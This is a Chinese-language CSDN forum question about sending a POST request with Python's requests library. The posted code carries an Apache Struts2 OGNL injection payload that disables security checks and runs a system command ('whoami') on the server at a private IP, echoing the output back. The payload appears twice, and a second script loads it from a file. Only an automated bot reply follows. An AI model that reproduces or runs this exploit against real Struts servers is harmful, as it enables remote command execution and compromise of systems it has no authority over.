红酒味蛋糕_ 2018-12-18 15:25 采纳率: 0%
浏览 6151

python构造post请求,并获取响应内容。

使用python脚本自定义一个post请求然后发送,并得到响应内容。
POST请求如下图,响应内容为右侧内容。
图片说明

Content-Type: application/x-www-form-urlencoded 是必须存在的.

测试过两种方法,一种是

#coding:utf-8
import requests 
import urllib  
import urllib2
import os

url = 'http://192.168.1.22:8080/example/HelloWorld.action'
d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'}
r = requests.post(url,d,headerss)
print r.text
print r.headers

图片说明

第二种是将POST的数据放到report.txt文件中,尝试过把图1整个POST内容放入,失败,尝试如下代码只放定义的主体内容,失败。

#coding:utf-8
import requests 
import urllib  
import urllib2
import os

# url = 'http://192.168.1.22:8080/example/HelloWorld.action'
# d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
# headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'}
# r = requests.post(url,d,headerss)
# print r.text
# print r.headers

url = 'http://192.168.1.22:8080/example/HelloWorld.action'
jy = open('report.txt')
a = jy.read()
files = {'file': a}
print files['file']
r = requests.post(url, a)
print r.text
head = r.headers
print head

图片说明

  • 写回答

1条回答 默认 最新

  • CSDN-Ada助手 CSDN-AI 官方账号 2022-09-09 19:41
    关注
    不知道你这个问题是否已经解决, 如果还没有解决的话:

    如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 以帮助更多的人 ^-^
    评论

报告相同问题?

悬赏问题

  • ¥15 想问一下stata17中这段代码哪里有问题呀
  • ¥15 flink cdc无法实时同步mysql数据
  • ¥100 有人会搭建GPT-J-6B框架吗?有偿
  • ¥15 求差集那个函数有问题,有无佬可以解决
  • ¥15 【提问】基于Invest的水源涵养
  • ¥20 微信网友居然可以通过vx号找到我绑的手机号
  • ¥15 寻一个支付宝扫码远程授权登录的软件助手app
  • ¥15 解riccati方程组
  • ¥15 使用rabbitMQ 消息队列作为url源进行多线程爬取时,总有几个url没有处理的问题。
  • ¥15 Ubuntu在安装序列比对软件STAR时出现报错如何解决